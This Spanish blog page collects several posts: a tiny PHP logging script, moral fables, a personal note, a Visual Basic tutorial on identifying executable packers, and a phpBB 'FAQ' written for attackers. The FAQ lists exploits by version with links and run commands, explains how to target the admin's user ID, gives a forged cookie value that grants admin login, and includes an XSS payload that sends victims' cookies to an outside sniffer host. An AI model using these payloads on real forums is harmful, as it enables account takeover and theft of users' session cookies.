feedburner
Enter your email address:

Delivered by FeedBurner

Consejos para Programadores. PHP coding!

CATEGORIAS: ,

Aquí va el código pequeño creado por mi para tal fin, para tener minima idea de como crear propio log. Muy popular entre programadores de latinchat, aunque muchos usan cbox, con este ejemplo, aprenderán como manejarlo.
Abran block de notas e introducir siguiente código y guardarlo como mmlog.php



<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<head>

<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />

<title>Generar Log</title>

</head>



<body>

<center>

<form action="mmlog.php" method="post">

Mensaje:

<input type="text" fsp="150" msp="250" name="file" />

<input type="submit" name="enviar" value="Enviar" />

</body>



<?php

extract($_POST);



$errorMsg = "";



$file=fopen("datos.txt","a") or die ("Unable to find the file datos.txt");

$myLog=$_POST["file"];

fwrite($file,$myLog."\n");

fclose($file);

?>

</html>

Subirlo a algun servidor que tenga soporte de PHP y ejecutarlo. Datos se guardarán en un archivo .txt llamado datos, el el mismo directorio donde haya este fichero.


Buscas un programa y no lo encuentras? Pidelo , posteando en blog o en tag y te lo conseguimos!





FAQ acerca de versiones de phpBB superiores de 2.0.4

CATEGORIAS:

© by d4rksoft

FAQ de versiones de phpBB superiores de 2.0.4

phpBB 2.0.4

# Es posible ver contenido
de archivos en server

# Vulnerabilidad existe por incorrecta configuracion de Admin_Styles.PHP

#
Exploit para esta version pueden ver en :
http://milw0rm.com/id.php?id=47

phpBB 2.0.5

# Es posible ver el
hash de contraseña

# Vulnerabilidad existente permite formacion de SQL
interpelacion, y consta en incorrecta configuracion de $topic_id.Posibilidad
de hacer 2 interpelaciones mediante lo cual se obtiene hash.
# Exploit para esta version pueden consultar en:
http://milw0rm.com/id.php?id=44
# Al ejecutar exploit, cambiamos

$remote = shift 'localhost'
por lo que nos interesa, por
ejemplo "255.255.255.255,y

$uid = shift 2;
- cambiamos por ID de usuarios que nos
interesa
.
En los foros de phpBB ID de administrador
por defecto es "2".

phpBB 2.0.6

# Obtener el hash de
contraseña
# Vulnerabilidad existe en modulo searh.php.
# Exploit para esta version pueden encontrar en:

http://milw0rm.com/id.php?id=137
#
Ejecutamos : "perl
exp.pl <server> <folder> <user_id> <search_id>"
donde <server> - IP de
server,<folder>- la misma
carpeta donde
se encuentra foro,<user_id>
<search_id> -
ID de usuario. {Ejemplo:
http://aqui_ip_de_foro/forum/index.php)
Versiones de 20.7 a 2.0.9 tienen casi
los mismos vulne por lo tanto mejor veamos directamente
2.0.10 .......

phpBB 2.0.10

# Posibilidad de ejecucion
de comandos maliciosos.

# Vulnerabilidad existe por incorrecta configuracion de
parametros en viewtopic.php.
# Exploit de esta version pueden ver en :

http://milw0rm.com/id.php?id=647
# Ejecutamos : "perl exp.pl [*URL]
[DIR] [NUM] [CMD]
" donde
[*URL] -
URL de sitio, [DIR]
-directorio donde se encuentra
foro, [NUM] - numero de topico [
es necesario que topic sea existenteo, actual ],
[CMD]- comando que
habra que ejcutar [
por ejemplo :
ls -la ]
#
Existe otro metodo que permite
entrar en admin panel, lo ke se debe a incorrecta
configuracion de parametros en
Admin_Styles.PHP

phpBB <= 2.0.12

# Mediante vulnerabilidad
existente es posible entrar en cuenta de administrador.
# Para comenzar es necesario registrarse en foro y
realizar login con propia cuenta. Si sale Login
automatico, es recomendable
evitarlo. Siguiente paso sera editar los cookies, mediante programita
llamado cookie editor, o navegador de Opera :
T
ools->Advanced->Cookies
Hacemos siguientes cambios:


a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%2
2%22%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%22
X%22%3B%7D

X(marcado en rojo)- nuestro ID.Pues
ahora cambiamos esto por otro que se cita abajo:

a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs%
3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D

Como ya hemos dicho 2 es ID de
administrador.
# Exploit de esta version es :

a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs%
3A6%3A%22userid%22%3Bs%3A1
%3A%222%22%3B%7D

phpBB <= 2.0.13

# Posibilidad de ver los
hash de cualquier usuario existente
# Vulnerabilidad existe en modulo downloads.php.Posibilidad
de SQL inyeccion
# Ejecutar : "perl exp.pl <site>
<dir> <id>
" donde site- url de sitio, dir-directorio
donde haya foro e id-id de usuarios que necesitemos.
# Exploit para esta version se encuentra en :

http://milw0rm.com/id.php?id=907


phpBB <= 2.0.15

# Obtener datos de DB
# Vulnerabilidad existe en modulo
viewtopic.php.
# Exploit para etsa version:

http://milw0rm.com/id.php?id=1080
#
Ejecutar :"perl
exp.pl <server> <dir> <id> \r\n
"


phpBB <= 2.0.16

# Posibilidad de obtener
hash de usuario
# EN esta version hay XSS. Recomendable uso de sniffer
qye recogera cookies.
# Exploit de esta version es :
[*color=#EFEFEF][*url]www.ut[*url=www.s=''style='font-size:0;color:#EFEFEF'style='top:expression
(eval(th
is.sss));'sss=
`i=new/**/Image();i.src='http://usuarios.lycos.es/d4rksoft/xsnif/s.php?
null`style='font-size:0;][/url][/url]'[/color]


phpBB <= 2.0.17

# Posibilidad de PHP
Inyeccion
# Vulnerabilidad existe en modulo profile.php.
# Exploit:

http://rst.void.ru/download/r57phpbb2017.txt
# Ejecutar : "perl exp.pl <URL> <cmd>"

phpBB <= 2.0.18

#
Obtener hash de usuario.
# EN esta version exixte XSS
# -


Buscas un programa y no lo encuentras? Pidelo , posteando en blog o en tag y te lo conseguimos!



EL CORAZÓN PERFECTO

CATEGORIAS:

Un día un joven se situó en el centro de un poblado y proclamó que él poseía el corazón más hermoso de toda la comarca.

Una gran multitud se congregó a su alrededor y todos admiraron y confirmaron que su corazón era perfecto, pues no se observaban en él ni marcas ni rasguños.
Sí, coincidieron todos que era el corazón más hermoso que hubieran visto, todos menos un anciano que se acercó y dijo:
"Tu corazón no es ni siquiera aproximadamente tan hermoso como el mío".
Sorprendidos la multitud y el joven miraron el corazón del viejo y vieron que, si bien latía vigorosamente, estaba cubierto de cicatrices y hasta había zonas donde faltaban trozos, y éstos habían sido reemplazados por otros que no encastraban perfectamente en el lugar, pues se veían bordes y aristas irregulares alrededor. Es más, había lugares con huecos, donde faltaban trozos profundos.

La gente se sobrecogió. ¿Cómo puede él decir que su corazón es más hermoso?
El joven contempló el corazón del anciano y al ver su estado desgarbado, se echó a reír.
"Debes estar bromeando," -dijo -"Compara tu corazón con el mío... El mío es perfecto. En cambio el tuyo es un conjunto de cicatrices y dolor."
"Es cierto", dijo el anciano, "tu corazón luce perfecto, pero yo jamás me involucraría contigo... Mira, cada cicatriz representa una persona a la que entregué todo mi amor. Arranqué trozos de mi corazón para entregárselos a cada uno de aquellos que he amado. Muchos a su vez me han obsequiado un trozo del suyo, que he colocado en el lugar que quedó abierto. Como las piezas no eran iguales, quedaron bordes irregulares, de los que me alegro, porque me recuerdan el amor que hemos compartido. Hubo oportunidades en las que entregué un trozo de mi corazón a alguien, pero esa persona no me ofreció un poco del suyo a cambio. Ahí quedaron huecos.
El joven y la multitud estaban muy conmovidos. El anciano continuó hablando:
"Dar amor es arriesgar, pero a pesar del dolor que esas heridas me producen por haber quedado abiertas, me recuerdan que sigo amando a ciertas personas, y alimentan la esperanza de que algún día, tal vez, regresen y llenen el vacío que han dejado en mi corazón. ¿Comprendes ahora lo que es verdaderamente un corazón hermoso?".
El joven permaneció en silencio, unas lágrimas humedecieron sus ojos. Se acercó al anciano, arrancó un trozo de su hermoso y joven corazón y se lo ofreció. El anciano lo recibió y lo colocó en su corazón, luego a su vez arrancó un trozo del suyo, ya viejo y maltrecho, y con él tapó la herida abierta del joven. La pieza se amoldó, pero no a la perfección porque no eran idénticas, y se notaban bordes irregulares.
El joven miró su corazón, que ya no era perfecto, pero le hacía sentir mejor que antes, porque el amor del anciano fluía en su interior.
Y tú, lector de estas líneas, recibe un pedazo de mi corazón...
(anónimo)


Buscas un programa y no lo encuentras? Pidelo , posteando en blog o en tag y te lo conseguimos!





HUELLAS EN LA ARENA

CATEGORIAS:

Una noche soñé que caminaba a lo largo de una playa acompañado por Dios.
Durante la caminata muchas escenas de mi vida fueron proyectándose en la pantalla del cielo.
Según iba pasando cada una de esas escenas, notaba que unas huellas se formaban en la arena.
A veces aparecían dos pares de huellas, en otras solamente aparecían un par de ellas.


Esto me preocupó grandemente porque pude notar que durante las escenas que reflejaban etapas tristes en mi vida, cuando me hallaba sufriendo de angustia, penas o derrotas, solamente podía ver un par de huellas en la arena. Entonces le dije a Dios:
"Señor, Tú me prometiste que si te seguía, Tú caminarías siempre a mi lado. Sin embargo, he notado que durante los momentos más difíciles de mi vida sólo había un par de huellas en la arena. ¿Por qué cuando más te necesitaba no estuviste caminando a mi lado?...
El señor me respondió: "Las veces que has visto un solo par de huellas en la arena, hijo mío, ha sido cuando te he llevado en mis brazos"...

(anónimo)


Buscas un programa y no lo encuentras? Pidelo , posteando en blog o en tag y te lo conseguimos!



SIGUE ADELANTE

CATEGORIAS:

Un leñador estaba en el bosque talando árboles para aprovechar su madera, aunque esta no era de óptima calidad. Entonces vino hacia él un anacoreta y le dijo:
- Buen hombre, sigue adelante.
Al día siguiente, cuando el sol comenzaba a despejar la bruma matutina, el leñador se disponía para emprender la dura jornada. Recordó el consejo que el día anterior le había dada el anacoreta y decidió penetrar más en el bosque. Descubrió entonces un macizo de árboles espléndidos de madera de sándalo. Esta madera es la más valiosa de todas, destacando por su especial aroma.
Transcurrieron algunos días. El leñador volvió a recordar las sugerencias del anacoreta y determinó penetrar aún más en el bosque. Así pudo encontrar una mina de plata. Este fabuloso descubrimiento le hizo muy rico en pocos meses.
Pero el que fuera leñador seguía manteniendo muy vivas las palabras del anacoreta: "Sigue adelante", por lo que un día todavía se introdujo más en el bosque. Fue de ese modo como halló una mina de oro y se hizo un hombre excepcionalmente rico.
El maestro dice: "Sigue adelante", hacia tu interior, hacia la fuente de tu Sabiduría. ¿Puede haber mayor riqueza que esta? (Cuento clásico de la India)


Buscas un programa y no lo encuentras? Pidelo , posteando en blog o en tag y te lo conseguimos!





El Amor y la Locura

CATEGORIAS:

Cuentan que una vez se reunieron todos los sentimientos y cualidades del hombre.

Cuando el ABURRIMIENTO había bostezado por tercera vez, la LOCURA, como siempre tan loca, les propuso:

- ¿Vamos a jugar a las escondidas?

La INTRIGA levantó la ceja intrigada y la CURIOSIDAD, sin poder contenerse preguntó:

- ¿A las escondidas?... ¿y cómo es eso?

- Es un juego -explicó la LOCURA- en que yo me tapo la cara y comienzo a contar uno hasta un millón mientras ustedes se esconden y cuando yo haya terminado de contar, el primero de ustedes que yo encuentre ocupará mi lugar para continuar el juego.

El ENTUSIASMO bailó secundado por la EUFORIA, la ALEGRÍA dió tantos saltos que terminó por convencer a la DUDA, e incluso a la APATÍA, a la que nunca le interesaba nada.

Pero no todos quisieron participar... la VERDAD prefirió no esconderse, para qué? si al final siempre la hallaban, y la SOBERBIA opinó que era un juego muy tonto (en el fondo lo que le molestaba era que la idea no hubiese sido de ella) y la COBARDÍA prefirió no arriesgarse...

- Uno, dos, tres... -comenzó a contar la LOCURA.

La primera en esconderse fue la PEREZA, que como siempre se dejó caer tras la primera piedra del camino, la FE subió al cielo y la ENVIDIA se escondió tras la sombra del TRIUNFO que con su propio esfuerzo había logrado subir a la copa del árbol más alto.

La GENEROSIDAD casi no alcanzaba a esconderse, cada sitio que hallaba le parecía maravilloso para alguno de sus amigos...

¿Que si un lago cristalino?, ideal para la BELLEZA. ¿Que si la hendija de un árbol?, perfecto para la TIMIDEZ. ¿Que si el vuelo de la mariposa?, lo mejor para la VOLUPTUOSIDAD. ¿Que si una ráfaga de viento?, magnífico para la LIBERTAD... Así, la GENEROSIDAD terminó por ocultarse en un rayito de sol.

El EGOÍSMO en cambio, encontró un sitio muy bueno desde el principio, ventilado, cómodo... pero sólo para él. La MENTIRA se escondió en el fondo de los océanos (mentira, en realidad se escondió detrás del arcoiris), y la PASIÓN y el DESEO en el centro de los volcanes. El OLVIDO... se me olvidó dónde se escondió... pero eso no es lo importante.

Cuando la LOCURA contaba 999.999, el AMOR aún no había encontrado sitio para esconderse, pues todo se encontraba ocupado... hasta que divisó un rosal... y enternecido decidió esconderse entre sus flores.

- Un millón!!!- contó la LOCURA y comenzó a buscar.

La primera en aparecer fue la PEREZA, sólo a tres pasos de una piedra.

Después se escuchó la FE discutiendo con Dios en el cielo sobre Zoología... La PASION y el DESEO los sintió en el vibrar de los volcanes. En un descuido encontró la ENVIDIA y, claro, pudo deducir dónde estaba el TRIUNFO. El EGOÍSMO no tuvo ni que buscarlo. Él solito salió disparado de su escondite que había resultado ser un nido de avispas.

De tanto caminar sintió sed y al acercarse al lago descubrió a la BELLEZA y con la DUDA resultó más fácil todavía, pues la encontró sentada sobre una cerca sin decidir aún de que lado esconderse...

Así fue encontrando a todos... al TALENTO entre la hierba fresca, a la ANGUSTIA en una oscura cueva, a la MENTIRA detrás del arco iris... (mentira, si ella estaba en el fondo del océano) y hasta al OLVIDO... que ya se le había olvidado que estaba jugando a los escondidos... pero sólo el AMOR no aparecía por ningún sitio.

La LOCURA buscó detrás de cada árbol, bajo cada arroyuelo del planeta, en la cima de las montañas... y cuando estaba dándose por vencida divisó un rosal y las rosas... Y tomó una horquilla y comenzó a mover las ramas, cuando de pronto un doloroso grito se escuchó... Las espinas habían herido en los ojos al AMOR; la LOCURA no sabía qué hacer para disculparse... lloró, rogó, imploró, pidió perdón y hasta prometió ser su lazarillo. Desde entonces; desde que por primera vez se jugó a las escondidas en la tierra: EL AMOR ES CIEGO Y LA LOCURA SIEMPRE LO ACOMPAÑA.

Autor: anónimo


Buscas un programa y no lo encuentras? Pidelo , posteando en blog o en tag y te lo conseguimos!



Solo Por Hoy .....

CATEGORIAS:

Bueno, abro el correo y veo un mail de una amiga intima, que por cierto se ha casado hace poco, pero igual se acuerda de sus amigos, y no hay ningun comentarios, solo esa canción que se escucha al cargar la página. Francamente me gustó el tema mucho, y lo subí..... No la dedico a nadie ya que se me juntarían muchas, no tiene sentido....

Simplemente cada uno vivamos nuestra vida.

..................................

Todo lo que hace mal y daño, suelo arrancarlo del corazón y mente, aunque luego me reclaman, creen que yo lo olvido todo rápido, que resulta que siempre juego, y tal juego siempre se basa en mentiras. Aunque nunca he mentido, aunque nunca quise hacer daño a nadie con propósito,aunque nunca fingí, aunque nunca jugué con sentimientos ajenos, habrán pocas personas que lo han creido: no puedo cambiar nada,y esos recuerdos (no importa sean malos o buenos) son parte de la experiencia, del comienzo de madurez y de que algo hubo alguna vez y señales que siempre se encenderán cuando uno este a punto de tropezar con la misma piedra. Pasando por la misma senda muchas veces, se desgasta el camino, al igual que leer el mismo libro más de una vez pierde el interés que al principio suele ser cautivador, intrigante,provocador.

................................

Sé que en ésta página entra más de una persona a quien sin querer ( y lo repetiré varias veces, hasta cuando sea necesario) hice daño o al revés, y la verdad es algo que no entiendo -
¿Qué es lo que buscan?
¿Podrían responder a mi pregunta? Si este es lugar intimo de aquel inmencionable pasado? (por lo menos para mi porque cometí una infinita cantidad de errores que nunca quiero recordar )

................................

Y bueno, yo solamente quiero en cuanto abra pc, saludar a mis amigos, pasarlo bien, reir con ellos, programar, publicar artículos, intercambiar de música, y eso es todo. De ahora sí, sé que más de eso no iré, con nadie..... Mis disculpas y respetos a la gente de quienes por ciertas razones me alejé, pero tantos líos, ciber dramas, me agotan, y lograr a tener paz, y estar tranki me ha costado.No más rollos y malos entendidos, no me importa si unos viven de eso, yo no lo hago, asi que no permitiré que se me acerquen de alguna forma, para luego ser yo UNO MAS de su guión,juego y drama, mil gracías, no lo necesito, no me atrae.......

Un saludo a todos


Buscas un programa y no lo encuentras? Pidelo , posteando en blog o en tag y te lo conseguimos!



Programación VB. EXE file scanner !

CATEGORIAS: , ,


Rasgos Generales de file scanner en VB. Explicando método de funcionamiento

¿Qué es eso? - esto es un programa que define con que está compilado o empaquetado un fichero ejecutable.
Uno de los mas populares de este tipo de programas es PEID.Pues ahora analizaremos ciertos códigos necesarios para scanear ejecutables.

Formato de archivo

En breve explicando DOS-Headers: DOS-Headers comprueba, si el programa se ejecuta por DOS o no, y se lanza DOS stub el cual mostrará siguiente línea
"This рrogram cannot run in DOS mode". Aquí usaremos siguientes campos:
Magic – debe contener "4D5Ah" que equivale "MZ";lfanew – longitud de DOS header, para saber donde se encuentra PE-Header

Option Explicit

'DOS Header

Public Type IMAGE_DOS_HEADER
Magic As Integer
cblp As Integer
cp As Integer
crlc As Integer
cparhdr As Integer
minalloc As Integer
maxalloc As Integer
ss As Integer
sp As Integer
csum As Integer
ip As Integer
cs As Integer
lfarlc As Integer
ovno As Integer
res(3) As Integer
oemid As Integer
oeminfo As Integer
res2(9) As Integer
lfanew As Long
End Type

РE-Header – contiene muchos campos importantes. Lo que necesitamos son siguientes: Signature – debe ser PE al cual le siguen dos ceros, en caso contrario no lo será ; NumObjects – cantidad de secciones en archivo; EntryPointRVA – dirección, relacionado con Image Base por el cual pasa el proceso del manipulación al ejecutar el programa; ImageBase – dirección inicial virtual de ejecución del programa

'PE Header
Public Type PE_HEADER
Signature As String * 4
CPU_Type As Integer ´tipo de procesor
'CPU Type tiene siguientes valores:
'14Ch -i386
'014Dh - i486
'014Eh - i586
'0162h - MIPS Mark I (R2000, R3000)
'0163h - MIPS Mark II (R6000)
'0166h - MIPS Mark III (R4000)
NumObjects As Integer ´cantidad de secciones
TimeDateStamp As Long
pCOFFTable As Long
COFFTableSize As Long
NTHeaderSize As Integer
Flags As Integer
Magic As Integer
LinkMajor As Byte
LinkMinor As Byte
SizeOfCode As Long
SizeOfInitData As Long
SizeOfUnInitData As Long
EntryPointRVA As Long
BaseOfCode As Long
BaseOfData As Long
ImageBase As Long
ObjectAlign As Long
FileAlign As Long
OSMajor As Integer
OSMinor As Integer
USERMajor As Integer
USERMinor As Integer
SubSysMajor As Integer
SubSysMinor As Integer
Reserved1 As Long
ImageSize As Long
HeaderSize As Long
FileCheckSum As Long
SubSytem As Integer
'SubSystem tiene siguientes valores:
'0001h - Native
'0002h - Windows GUI
'0003h - Windows Character
' (console aplication)
'0005h - OS/2 Character
'0007h - Posix Character
DLLFlags As Integer
StackReserveSize As Long
StackCommitSize As Long
HeapReserveSize As Long
HeapComitSize As Long
LoaderFlags As Long
NumOfRVAandSizes As Long
ExportTableRVA As Long
ExportDataSize As Long
ImportTableRVA As Long
ImportDataSize As Long
ResourceTableRVA As Long
ResourceDataSize As Long
ExceptionTableRVA As Long
ExceptionDataSize As Long
SecurityTableRVA As Long
SecurityDataSize As Long
FixTableRVA As Long
FixDataSize As Long
DebugTableRVA As Long
DebugDataSize As Long
ImageDescriptionRVA As Long
DescriptionDataSize As Long
MachineSpecificRVA As Long
MachnineDataSize As Long
TLSRVA As Long
TLSDataSize As Long
LoadConfigRVA As Long
LoadConfigDataSize As Long
Reserved2(39) As Byte
End Type

Object Table - es una serie de estructuras. La cantidad se define con Num of Objects. El campo SectionName – nombre de sección, maxima longitud 8 bytes; VirtualSize – tamaño virtual de la sección; VirtualAddress – dirección virtual de la sección; PointerToRawData – desplazamiento del fichero al inicio del fichero.

'Object Table
Public Type IMAGE_SECTION_HEADER
SectionName As String * 6
PhisicalAddress As Integer
VirtualSize As Long
VirtualAddress As Long
SizeOfRawData As Long
PointerToRawData As Long
PointerToRelocations As Long
PointerToLinenumbers As Long
NumberOfRelocations As Integer
NumberOfLinenumbers As Integer
Characteristics As Long
End Type

Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" _
(pDst As Any, pSrc As Any, ByVal ByteLen As Long)

Public Declare Function CreateFile Lib "kernel32" Alias "CreateFileA" _
(ByVal lpFileName As String, ByVal dwDesiredAccess As Long, ByVal _
dwShareMode As Long, lpSecurityAttributes As Any, ByVal _
dwCreationDisposition As Long, ByVal dwFlagsAndAttributes As Long, _
ByVal hTemplateFile As Long) As Long

Public Declare Function ReadFile Lib "kernel32" (ByVal hFile As Long, _
lpBuffer As Any, ByVal nNumberOfBytesToRead As Long, lpNumberOfBytesRead _
As Long, lpOverlapped As Any) As Long

Public Declare Function SetFilePointer Lib "kernel32" (ByVal hFile As _
Long, ByVal lDistanceToMove As Long, lpDistanceToMoveHigh As Long, ByVal _
dwMoveMethod As Long) As Long

Public Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long

Public tDos As IMAGE_DOS_HEADER
Public tFile As PE_HEADER
Public tSection() As IMAGE_SECTION_HEADER

Dim cFileOffset As Long
Dim PackBytes As String

Comprobando es PE (Portable Executable) o no:

Ahora crearemos función que definirá si el fichero es ejecutable o no.

Public Function ChkforPe(hFile As Long) As Boolean
Dim Buffer(4) As Byte
Dim lngBytesRead As Long
Dim tDosHeader As IMAGE_DOS_HEADER

If (hFile > 0) Then
' para leer DOS Header
ReadFile hFile, tDosHeader, ByVal Len(tDosHeader), lngBytesRead, ByVal 0&
CopyMemory Buffer(0), tDosHeader.Magic, 2
If (Chr(Buffer(0)) & Chr(Buffer(1)) = "MZ") Then
SetFilePointer hFile, tDosHeader.lfanew, 0, 0
' salta al final del header y lee 4 bytes en buffer
ReadFile hFile, Buffer(0), 4, lngBytesRead, ByVal 0&
If (Chr(Buffer(0)) = "P") And (Chr(Buffer(1)) = "E") And _
(Buffer(2) = 0) And (Buffer(3) = 0) Then
' debe ser "PE" y dos bytes equivalents a 0
ChkforPe = True ´realmente es un PE (Portable Executable)!
Exit Function
End If
End If
End If
ChkforPe = False
End Function

Bueno, de esta forma comprobamos DOS Header, y si el fichero tiene correcto DOS Header , encontramos PE-Header usando lfanew.

GetFileOffset

Siguiente función encuentra dirección de la sección en archivo por donde debe comenzar.

Public Function GetFileOffset(sFile As String) As String
Dim PointerToRaw As Long
Dim SizeOfRaw As Long
Dim VirtualAdr As Long
Dim EPoint As Long
Dim sTemp As Long
Dim sData() As Byte
Dim sU As Integer

Open sFile For Binary As #1
ReDim sData(LOF(1) - 1)
Get #1, , sData
Close #1

Dim sTemp1 As Long
Dim sTemp2 As Long

cFileOffset = 0 ´pone en zero offset
CopyMemory tDos, sData(sTemp1), Len(tDos)
' llega a tabla de sección del objeto.
' se encuentra después de PE header
CopyMemory tFile, sData(tDos.lfanew), Len(tFile)
sTemp1 = sTemp1 + tDos.lfanew + Len(tFile)
' rellena array de la sección con datos
ReDim tSection(tFile.NumObjects - 1)
For sTemp2 = 0 To UBound(tSection)
CopyMemory tSection(sTemp2), sData(sTemp1), Len(tSection(0))
sTemp1 = sTemp1 + Len(tSection(0))
Next sTemp2
' obtiene "punto de entrada"
EPoint = tFile.EntryPointRVA
For sU = 0 To UBound(tSection)
sTemp1 = tSection(sU).VirtualAddress
sTemp2 = sTemp1 + tSection(sU).VirtualSize
If EPoint >= sTemp1 And EPoint <= sTemp2 Then GoTo sNex Next sU sNex: sTemp = tSection(sU).VirtualAddress - tSection(sU).PointerToRawData cFileOffset = EPoint - sTemp GetFileOffset = cFileOffset End Function GET1stBytes

Esta funcón pasa por cierta cantidad de bytes obtenidos por función GetFileOffset y cuenta en variable PackBytes siguientes 30 bytes.

Public Function Get1stBytes(sFile As String) As String
Dim sX As Integer
Dim sBytes As String * 30
Dim sTemp As String
PackBytes = ""
Open sFile For Binary Access Read As #1
Seek #1, cFileOffset + 1'
Get #1, , sBytes Close #1
For sX = 1 To Len(sBytes)
sTemp = Hex(Asc(Mid(sBytes, sX, 1)))
If sTemp = "0" Then
sTemp = "00"
ElseIf Len(sTemp) = 1 Then
sTemp = "0" & sTemp
End If
PackBytes = PackBytes & sTemp
Get1stBytes = Get1stBytes & sTemp & " "
Next sX

End Function

PakerName

Esta function comprobará los signatures.

Public Function PackerName() As String
Dim sTemp As String
If Trim(PackBytes) Like _
Trim("68????????E8????????0000??00000030000000????????????????????") _
Then
PackerName = "Microsoft Visual Basic v5.0/v6.0"
Else
PackerName = "Nothing found!"
End If
End Function

Bueno, hay varios códigos de este material, y más existe una database grande de los signatures, pero es recomendable usarlo con método Select case.

Saludos
Special thanx to : sl1ppy / arnoldiK


Buscas un programa y no lo encuentras? Pidelo , posteando en blog o en tag y te lo conseguimos!